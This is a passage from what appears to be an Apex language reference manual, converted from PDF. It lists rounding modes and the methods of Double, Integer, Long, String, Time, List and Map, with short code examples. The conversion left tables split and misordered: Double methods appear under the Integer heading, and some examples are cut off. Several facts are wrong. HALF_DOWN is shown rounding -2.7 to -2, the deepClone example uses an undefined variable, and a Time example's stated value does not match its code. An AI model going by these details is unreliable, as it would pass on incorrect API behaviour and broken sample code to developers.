<td>Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case this mode rounds down. This rounding mode behaves the same as the <strong>UP</strong> rounding mode if the discarded fraction (decimal point) is &gt; 0.5; otherwise, it behaves the same as <strong>DOWN</strong> rounding mode. For example:</td>
</tr>
<tr>
<td></td>
<td>- Input number 5.5: HALF_DOWN round mode result: 5</td>
</tr>
<tr>
<td></td>
<td>- Input number 1.1: HALF_DOWN round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>- Input number -1.1: HALF_DOWN round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>- Input number -2.7: HALF_DOWN round mode result: -2</td>
</tr>
<tr>
<td>HALF_EVEN</td>
<td>Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. This rounding mode behaves the same as the <strong>HALF_UP</strong> rounding mode if the digit to the left of the discarded fraction (decimal point) is odd. It behaves the same as the <strong>HALF_DOWN</strong> rounding method if it is even. For example:</td>
</tr>
<tr>
<td></td>
<td>- Input number 5.5: HALF_EVEN round mode result: 6</td>
</tr>
<tr>
<td></td>
<td>- Input number 1.1: HALF_EVEN round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>- Input number -1.1: HALF_EVEN round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>- Input number -2.7: HALF_EVEN round mode result: -3</td>
</tr>
</tbody>
</table>

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
</table>
| HALF_UP    | Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds up. This rounding method behaves the same as the UP rounding method if the discarded fraction (decimal point) is >= 0.5; otherwise, this rounding method behaves the same as the DOWN rounding method. For example:  
  - Input number 5.5: HALF_UP round mode result: 6  
  - Input number 1.1: HALF_UP round mode result: 1  
  - Input number -1.1: HALF_UP round mode result: -1  
  - Input number -2.7: HALF_UP round mode result: -3 |
| UNNECESSARY| Asserts that the requested operation has an exact result, which means that no rounding is necessary. If this rounding mode is specified on an operation that yields an inexact result, an Exception is thrown. For example:  
  - Input number 5.5: UNNECESSARY round mode result: Exception  
  - Input number 1.0: UNNECESSARY round mode result: 1 |
| UP         | Rounds away from zero. This rounding mode always truncates any fractions (decimal points) prior to executing. Note that this rounding mode never decreases the magnitude of the calculated value. For example:  
  - Input number 5.5: UP round mode result: 6  
  - Input number 1.1: UP round mode result: 2  
  - Input number -1.1: UP round mode result: -2  
  - Input number -2.7: UP round mode result: -3 |

**Double Methods**

The following are the system static methods for Double.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>valueOf</td>
<td>anyType x</td>
<td>Double</td>
<td>Casts x, a history tracking table field of type anyType, to a Double. For more information on the anyType data type, see Field Types in the Web Services API Developer's Guide.</td>
</tr>
</tbody>
</table>
| valueOf | String s   | Double      | Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal. For example:  
  ```java  
  Double DD1 = double.valueOf('3.14159');  
  ``` |

The following are the instance methods for Double.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>format</td>
<td>String</td>
<td>String</td>
<td>Returns the String value for this Double</td>
</tr>
</tbody>
</table>
### Description

Returns the Integer value of this Double by casting it to an Integer. For example:

```java
Double DD1 = double.valueOf('3.14159');
Integer value = DD1.intValue();
system.assertEquals(value, 3);
```

### LongValue

Returns the Long value of this Double.

### round

Returns the rounded value of this Double. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations. For more information about half-even rounding mode, see **Rounding Mode** on page 247. For example:

```java
Double D1 = 5.5;
Long L1 = D1.round();
system.assertEquals(L1, 6);
```

For more information on Double, see **Primitive Data Types** on page 28.

### Integer Methods

The following are the system static methods for Integer.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>intValue</td>
<td></td>
<td>Integer</td>
<td>Returns the Integer value of this Double by casting it to an Integer. For example:</td>
</tr>
</tbody>
</table>
|          |           |             | `Double DD1 = double.valueOf('3.14159');
|          |           |             | `Integer value = DD1.intValue();
|          |           |             | `system.assertEquals(value, 3);`

<table>
<thead>
<tr>
<th>longValue</th>
<th>Long</th>
<th>Returns the Long value of this Double</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>round</th>
<th>Long</th>
<th>Returns the rounded value of this Double. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations. For more information about half-even rounding mode, see <strong>Rounding Mode</strong> on page 247. For example:</th>
</tr>
</thead>
</table>
|           |           | `Double D1 = 5.5;
|           |           | `Long L1 = D1.round();
|           |           | `system.assertEquals(L1, 6);`
|           |           | `Double D2 = 5.2;
|           |           | `Long L2 = D2.round();
|           |           | `system.assertEquals(L2, 5);`
|           |           | `Double D3 = -5.7;
|           |           | `Long L3 = D3.round();
|           |           | `system.assertEquals(L3, -6);`

The following are the instance methods for Integer.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>valueOf</td>
<td>anyType x</td>
<td>Integer</td>
<td>Casts x, a history tracking table field of type anyType, to an Integer. For more information on the anyType data type, see <strong>File Types</strong> in the Web Services API Developer’s Guide.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>valueOf</th>
<th>String s</th>
<th>Integer</th>
<th>Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal integer. For example:</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Integer myInt = integer.valueOf('123');</code></td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>------------</td>
<td>---------------</td>
<td>-------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>format</td>
<td>String</td>
<td>String</td>
<td>Returns the integer as a string</td>
</tr>
</tbody>
</table>

For more information on integers, see *Primitive Data Types* on page 28.

**Long Methods**

The following are the system static methods for Long.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>valueOf</td>
<td>String s</td>
<td>Long</td>
<td>Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Long L1 = long.valueOf('123456789');</code></td>
</tr>
</tbody>
</table>

The following are the instant method for Long.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>format</td>
<td>String</td>
<td>String</td>
<td>Returns the String format for this Long</td>
</tr>
<tr>
<td>intValue</td>
<td></td>
<td>Integer</td>
<td>Returns the Integer value for this Long</td>
</tr>
</tbody>
</table>

For more information on Long, see *Primitive Data Types* on page 28.

**String Methods**

The following are the system static methods for String.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>escapeSingleQuotes</td>
<td>String s</td>
<td>String</td>
<td>Returns a String with the escape character () added before any single quotation marks in the String s. This method is useful when creating a dynamic SOQL statement, to help prevent SOQL injection. For more information on dynamic SOQL, see <em>Dynamic SOQL</em> on page 151. See also <em>Splitting String Example</em> on page 256.</td>
</tr>
<tr>
<td>format</td>
<td>String s</td>
<td>String</td>
<td>Treat the current string as a pattern that should be used for substitution in the same manner as apex:outputText.</td>
</tr>
<tr>
<td>fromCharArray</td>
<td>List&lt;Integer&gt; charArray</td>
<td>String</td>
<td>Returns a String from the values of the list of integers.</td>
</tr>
<tr>
<td>valueOf</td>
<td>Date d</td>
<td>String</td>
<td>Returns a String that represents the specified Date in the standard “yyyy-MM-dd” format. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Date myDate = Date.Today(); String sDate = String.valueOf(myDate);</code></td>
</tr>
</tbody>
</table>
The following are the instance methods for String.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| compareTo       | String compString | Integer     | Compares two strings lexicographically, based on the Unicode value of each character in the Strings. The result is:  
- A negative Integer if the String that called the method lexicographically precedes compString  
- A positive Integer if the String that called the method lexicographically follows compString  
- Zero if the Strings are equal  
If there is no index position at which the Strings differ, then the shorter String lexicographically precedes the longer String. For example:  
```java
  String myString1 = 'abcde';
  String myString2 = 'abcd';
  Integer result =
      myString1.compareTo(myString2);
  System.assertEquals(result, 1);
```
Note that this method returns 0 whenever the equals method returns true. |
| contains        | String compString | Boolean     | Returns true if and only if the String that called the method contains the specified sequence of characters in the compString. For example:  
```java
  String myString1 = 'abcde';
  String myString2 = 'abcd';
  Boolean result =
``` |
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>endsWith</td>
<td>String suffix</td>
<td>Boolean</td>
<td>Returns true if the String that called the method ends with the specified suffix.</td>
</tr>
<tr>
<td>equals</td>
<td>String compString</td>
<td>Boolean</td>
<td>Returns true if the compString is not null and represents the same binary sequence of characters as the String that called the method. This method is true whenever the compareTo method returns 0. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String myString1 = 'abcde'; String myString2 = 'abcd'; Boolean result = myString1.equals(myString2); System.assertEquals(result, false);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Note that the == operator also performs String comparison, but is case-insensitive to match Apex semantics. (== is case-sensitive for ID comparison for the same reason.)</td>
</tr>
<tr>
<td>equalsIgnoreCase</td>
<td>String compString</td>
<td>Boolean</td>
<td>Returns true if the compString is not null and represents the same sequence of characters as the String that called the method, ignoring case. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String myString1 = 'abcd'; String myString2 = 'ABCD'; Boolean result = myString1.equalsIgnoreCase(myString2); System.assertEquals(result, true);</td>
</tr>
<tr>
<td>indexOf</td>
<td>String subString</td>
<td>Integer</td>
<td>Returns the index of the first occurrence of the specified subString. If the subString does not occur, this method returns -1.</td>
</tr>
<tr>
<td>indexOf</td>
<td>String subString</td>
<td>Integer</td>
<td>Returns the index of the first occurrence of the specified subString from the point of index i. If the subString does not occur, this method returns -1. For example:</td>
</tr>
<tr>
<td></td>
<td>Integer i</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String myString1 = 'abcd'; String myString2 = 'bc'; Integer result = myString1.indexOf(myString2, 0); System.assertEquals(result, 1);</td>
</tr>
<tr>
<td>lastIndexOf</td>
<td>String subString</td>
<td>Integer</td>
<td>Returns the index of the last occurrence of the specified subString. If the subString does not occur, this method returns -1.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>-----------------</td>
<td>-------------</td>
<td>-------------</td>
</tr>
<tr>
<td>length</td>
<td>Integer</td>
<td>Returns the number of 16-bit Unicode characters contained in the String. For example:</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String myString = 'abcd';</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Integer result = myString.length();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(result, 4);</td>
</tr>
<tr>
<td>replace</td>
<td>String target,</td>
<td>String</td>
<td>Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence replacement.</td>
</tr>
<tr>
<td></td>
<td>String replacement</td>
<td></td>
<td></td>
</tr>
<tr>
<td>replaceAll</td>
<td>String regExp,</td>
<td>String</td>
<td>Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement. See</td>
</tr>
<tr>
<td></td>
<td>String replacement</td>
<td></td>
<td></td>
</tr>
<tr>
<td>replaceFirst</td>
<td>String regExp,</td>
<td>String</td>
<td>Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement. See</td>
</tr>
<tr>
<td></td>
<td>String replacement</td>
<td></td>
<td></td>
</tr>
<tr>
<td>split</td>
<td>String regExp,</td>
<td>String[]</td>
<td>Returns a list that contains each substring of the String that is terminated by the regular expression regExp, or the end of the String. See</td>
</tr>
<tr>
<td></td>
<td>Integer limit</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The substrings are placed in the list in the order in which they occur in the String. If regExp does not match any part of the String, the resulting list has just one element containing the original String.

The optional limit parameter controls the number of times the pattern is applied and therefore affects the length of the list:

- If limit is greater than zero, the pattern is applied at most limit - 1 times, the list's length is no greater than limit, and the list's last entry contains all input beyond the last matched delimiter.
- If limit is non-positive then the pattern is applied as many times as possible and the list can have any length.
- If limit is zero then the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

For example, for String s = 'boo:and:foo':


<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>startsWith</td>
<td>String prefix</td>
<td>Boolean</td>
<td>Returns true if the String that called the method begins with the specified prefix</td>
</tr>
<tr>
<td>substring</td>
<td>Integer startIndex, String</td>
<td>String</td>
<td>Returns a new String that begins with the character at the specified startIndex and extends to the end of the String</td>
</tr>
<tr>
<td>substring</td>
<td>Integer startIndex, Integer endIndex, String</td>
<td>String</td>
<td>Returns a new String that begins with the character at the specified startIndex and extends to the character at endIndex - 1. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>'hamburger'.substring(4, 8); // Returns &quot;urge&quot;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>'smiles'.substring(1, 5); // Returns &quot;mile&quot;</td>
</tr>
<tr>
<td>toLowerCase</td>
<td>String</td>
<td>String</td>
<td>Converts all of the characters in the String to lowercase using the rules of the default locale</td>
</tr>
<tr>
<td>toLowerCase</td>
<td>String locale</td>
<td>String</td>
<td>Converts all of the characters in the String to lowercase using the rules of the specified locale</td>
</tr>
<tr>
<td>toUpperCase</td>
<td>String</td>
<td>String</td>
<td>Converts all of the characters in the String to uppercase using the rules of the default locale. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String myString1 = 'abcd';</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String myString2 = 'ABCD';</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>myString1 = myString1.toUpperCase();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Boolean result = myString1.equals(myString2);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(result, true);</td>
</tr>
<tr>
<td>toUpperCase</td>
<td>String locale</td>
<td>String</td>
<td>Converts all of the characters in the String to the uppercase using the rules of the specified locale</td>
</tr>
<tr>
<td>trim</td>
<td>String</td>
<td>String</td>
<td>Returns a String that no longer contains any white space characters, including leading and trailing spaces, tabs, newline characters, and so on</td>
</tr>
</tbody>
</table>

See also Splitting String Example on page 256.
For more information on Strings, see Primitive Data Types on page 28.

### Splitting String Example

In the following example, a string is split, using a backslash as a delimiter:

```java
public String removePath(String filename) {
    if (filename == null)
        return null;
    List<String> parts = filename.split('\\');
    filename = parts[parts.size()-1];
    return filename;
}

static testMethod void testRemovePath() {
    System.assertEquals('PPDSF100111.csv',
        EmailUtilities.getInstance().
            removePath('e:\processed\PPDSF100111.csv'));
}
```

### Time Methods

The following are the system static methods for Time.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>newInstance</td>
<td>Integer hour, Integer minutes, Integer seconds, Integer milliseconds</td>
<td>Time</td>
<td>Constructs a Time from Integer representations of the <em>hour</em>, <em>minutes</em>, <em>seconds</em>, and <em>milliseconds</em>. The following example creates a time of 18:20:2:20:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><em>myTime =</em> Time.newInstance(18, 30, 2, 20);</td>
</tr>
</tbody>
</table>

The following are the instance methods for Time.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>addHours</td>
<td>Integer addHours</td>
<td>Time</td>
<td>Adds the specified number of <em>addHours</em> to a Time</td>
</tr>
<tr>
<td>addMilliseconds</td>
<td>Integer addMilliseconds</td>
<td>Time</td>
<td>Adds the specified number of <em>addMilliseconds</em> to a Time</td>
</tr>
<tr>
<td>addMinutes</td>
<td>Integer addMinutes</td>
<td>Time</td>
<td>Adds the specified number of <em>addMinutes</em> to a Time. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><em>myTime =</em> Time.newInstance(18, 30, 2, 20);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><em>myMinutes =</em> myTime.minute();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><em>myMinutes =</em> myMinutes + 5;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(myMinutes, 35);</td>
</tr>
<tr>
<td>addSeconds</td>
<td>Integer addSeconds</td>
<td>Time</td>
<td>Adds the specified number of <em>addSeconds</em> to a Time</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------</td>
<td>-----------</td>
<td>-------------</td>
<td>-------------</td>
</tr>
<tr>
<td>hour</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the hour component of a Time. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Time myTime = Time.newInstance(18, 30, 2, 20);</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>myTime = myTime.addHours(2);</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Integer myHour = myTime.hour();</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>System.assertEquals(myHour, 20);</code></td>
</tr>
<tr>
<td>millisecond</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the millisecond component of a Time</td>
</tr>
<tr>
<td>minute</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the minute component of a Time</td>
</tr>
<tr>
<td>second</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the second component of a Time</td>
</tr>
</tbody>
</table>

For more information on time, see Primitive Data Types on page 28.

**Apex Collection Methods**

**Apex Collection Methods**

All the collections in Apex have methods associated with them for assigning, retrieving, and manipulating the data. The collection methods are:

- **List**
- **Map**
- **Set**

**Note:** There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.

**List Methods**

The list methods are all instance methods, that is, they operate on a particular instance of a list. For example, the following removes all elements from `myList`:

```
myList.clear();
```

Even though the `clear` method does not include any parameters, the list that calls it is its implicit parameter.

The following are the instance parameters for List.

**Note:** In the table below, `List_elem` represents a single element of the same type as the list.
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>add</td>
<td>Any type e</td>
<td>Void</td>
<td>Adds an element e to the end of the list. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>List&lt;Integer&gt; myList = new List&lt;Integer&gt;();</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>myList.add(47);</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Integer myNumber = myList.get(0);</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>system.assertEquals(myNumber, 47);</code></td>
</tr>
<tr>
<td>add</td>
<td>Integer i</td>
<td>Void</td>
<td>Inserts an element e into the list at index position i. In the following example, a list with six elements is created, and integers are added to the first and second index positions.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>List&lt;Integer&gt; myList = new Integer[6];</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>myList.add(0, 47);</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>myList.add(1, 52);</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>system.assertEquals(myList.get(1), 52);</code></td>
</tr>
<tr>
<td>addAll</td>
<td>List l</td>
<td>Void</td>
<td>Adds all of the elements in list l to the list that calls the method. Note that both lists must be of the same type.</td>
</tr>
<tr>
<td>addAll</td>
<td>Set s</td>
<td>Void</td>
<td>Add all of the elements in set s to the list that calls the method. Note that the set and the list must be of the same type.</td>
</tr>
<tr>
<td>clear</td>
<td></td>
<td>Void</td>
<td>Removes all elements from a list, consequently setting the list's length to zero</td>
</tr>
<tr>
<td>clone</td>
<td>List (of same type)</td>
<td>Void</td>
<td>Makes a duplicate copy of a list.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Note that if this is a list of sObject records, the duplicate list will only be a shallow copy of the list. That is, the duplicate will have references to each object, but the sObject records themselves will not be duplicated. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Account a = new Account(name='Acme', billingcity='New York');</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Account b = new Account();</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Account[] l1 = new Account[]{a, b};</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>Account[] l2 = l1.clone();</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>l1[0].billingcity = 'San Francisco';</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>System.assertEquals(l1[0].billingcity, 'San Francisco');</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>System.assertEquals(l2[0].billingcity, 'San Francisco');</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>To also copy the sObject records, you must use the <code>deepClone</code> method.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------</td>
<td>-------------------</td>
<td>----------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>deepClone</td>
<td>Boolean</td>
<td>List (of same object type)</td>
<td>Makes a duplicate copy of a list of sObject records, including the sObject records themselves. For example:</td>
</tr>
<tr>
<td></td>
<td>opt_preserve_id</td>
<td></td>
<td>Account a = new Account(name='Acme', billingcity='New York'); Account b = new Account(); Account[] l1 = new Account[]{a,b}; l1.deepClone();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>l1[0].billingcity = 'San Francisco'; System.assertEquals(l1[0].billingcity, 'San Francisco'); System.assertEquals(l2[0].billingcity, 'New York');</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><strong>Note:</strong> deepClone only works with lists of sObjects, not with lists of primitives.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The optional opt_preserve_id argument determines whether the ID of the original objects are preserved or cleared in the duplicates.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>To make a shallow copy of a list without duplicating the sObject records it contains, use the clone() method.</td>
</tr>
<tr>
<td>get</td>
<td>Integer i</td>
<td>Array_elem</td>
<td>Returns the list element stored at index i. For example,</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>List&lt;Integer&gt; myList = new List&lt;Integer&gt;(); myList.add(47); Integer myNumber = myList.get(0); system.assertEquals(myNumber, 47);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's index position in square brackets. For example:</td>
</tr>
<tr>
<td>getSOBJECTTYPE</td>
<td>Schema.SObjectTyp</td>
<td></td>
<td>Returns the token of the sObject type that makes up a list of sObjects. Use this with describe information to determine if a list contains sObjects of a particular type.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>public class listTest {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// Create a generic sObject variable s</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>SObject s = Database.query ('SELECT Id FROM Account LIMIT 1');</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// Verify if that sObject variable is</td>
</tr>
</tbody>
</table>

---

**Reference Apex Collection Methods**

---

259
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>isEmpty</td>
<td>Boolean</td>
<td>Returns true if the list has zero elements</td>
<td></td>
</tr>
<tr>
<td>iterator</td>
<td>Iterator</td>
<td>Returns an instance of an iterator. From the iterator, you can use the iterable methods hasNext and next to iterate through the list. For example:</td>
<td></td>
</tr>
</tbody>
</table>

```java
global class CustomIterable implements Iterator<Account>{
    List<Account> accs {get; set;}
    Integer i {get; set;}
    public CustomIterable(){
        accs = [SELECT id, name, numberofEmployees FROM Account WHERE name = 'false'];
        i = 0;
    }
    global boolean hasNext(){
        if(i >= accs.size())
            return false;
        else
            return true;
    }
    global Account next(){
        if(i == accs.size())
            return null;
        i=i+1;
        return accs[i-1];
    }
}
```

**Note:** You do not have to implement the iterable interface to use the iterable methods with a list.
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>remove</td>
<td>Integer i</td>
<td>Array_elem</td>
<td>Removes the element that was stored at the i-th index of a list, returning the element that was removed. For example:</td>
</tr>
</tbody>
</table>
|  |  |  | List<String> colors = new String[3];
|  |  |  | colors[0] = 'Red';
|  |  |  | colors[1] = 'Blue';
|  |  |  | colors[2] = 'Green';
|  |  |  | String S1 = colors.remove(2);
|  |  |  | system.assertEquals(S1, 'Green'); |
| set | Integer i | Void | Assigns e to the position at list index i. For example: |
|  |  |  | List<Integer> myList = new Integer[6];
|  |  |  | myList.set(0, 47);
|  |  |  | myList.set(1, 52);
|  |  |  | system.assertEquals(myList.get(1), 52); |
|  | Any type e |  | To set an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element’s index position in square brackets. For example: |
|  |  |  | List<String> colors = new String[3];
|  |  |  | colors[0] = 'Red';
|  |  |  | colors[1] = 'Blue';
|  |  |  | colors[2] = 'Green'; |
| size | Integer | Integer | Returns the number of elements in the list. For example: |
|  |  |  | List<Integer> myList = new List<Integer>();
|  |  |  | Integer size = myList.size();
|  |  |  | system.assertEquals(size, 0); |
|  |  |  | List<Integer> myList2 = new Integer[6];
|  |  |  | Integer size2 = myList2.size();
|  |  |  | system.assertEquals(size2, 6); |
| sort |  | Void | Sorts the items in the list in ascending order. You can only use this method with lists composed of primitive data types. In the following example, the list has three elements. When the list is sorted, the first element is null because it has no value assigned while the second element has the value of 5: |
|  |  |  | List<Integer> L1 = new Integer[3];
|  |  |  | // Assign values to the first
|  |  |  | // two elements
|  |  |  | L1[0] = 10;
|  |  |  | L1[1] = 5;
|  |  |  | L1.sort();
|  |  |  | // First element is null, second is 5
|  |  |  | system.assertEquals(L1.get(1), 5); |
For more information on lists, see Lists on page 34.

**Map Methods**

The map methods are all instance methods, that is, they operate on a particular instance of a map. The following are the instance methods for maps.

**Note:** In the table below:
- *Key_type* represents the primitive type of a map key.
- *Value_type* represents the primitive or sObject type of a map value.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>clear</td>
<td></td>
<td>Void</td>
<td>Removes all of the key-value mappings from the map</td>
</tr>
<tr>
<td>clone</td>
<td></td>
<td>Map (of same type)</td>
<td>Makes a duplicate copy of the map. Note that if this is a map with sObject record values, the duplicate map will only be a shallow copy of the map. That is, the duplicate will have references to each sObject record, but the records themselves are not duplicated. For example:</td>
</tr>
</tbody>
</table>

```java
Account a = new Account(name='Acme', billingcity='New York');
Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);
Map<Integer, Account> map2 = map1.clone();
map1.get(1).billingcity = 'San Francisco';
System.assertEquals(map1.get(1).billingcity, 'San Francisco');
System.assertEquals(map2.get(1).billingcity, 'San Francisco');
```

To also copy the sObject records, you must use the `deepClone` method.

<table>
<thead>
<tr>
<th>name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>containsKey</td>
<td>Key type key</td>
<td>Boolean</td>
<td>Returns true if the map contains a mapping for the specified key. For example:</td>
</tr>
</tbody>
</table>

```java
Map<string, string> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Boolean contains = colorCodes.containsKey('Blue');
System.assertEquals(contains, True);
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
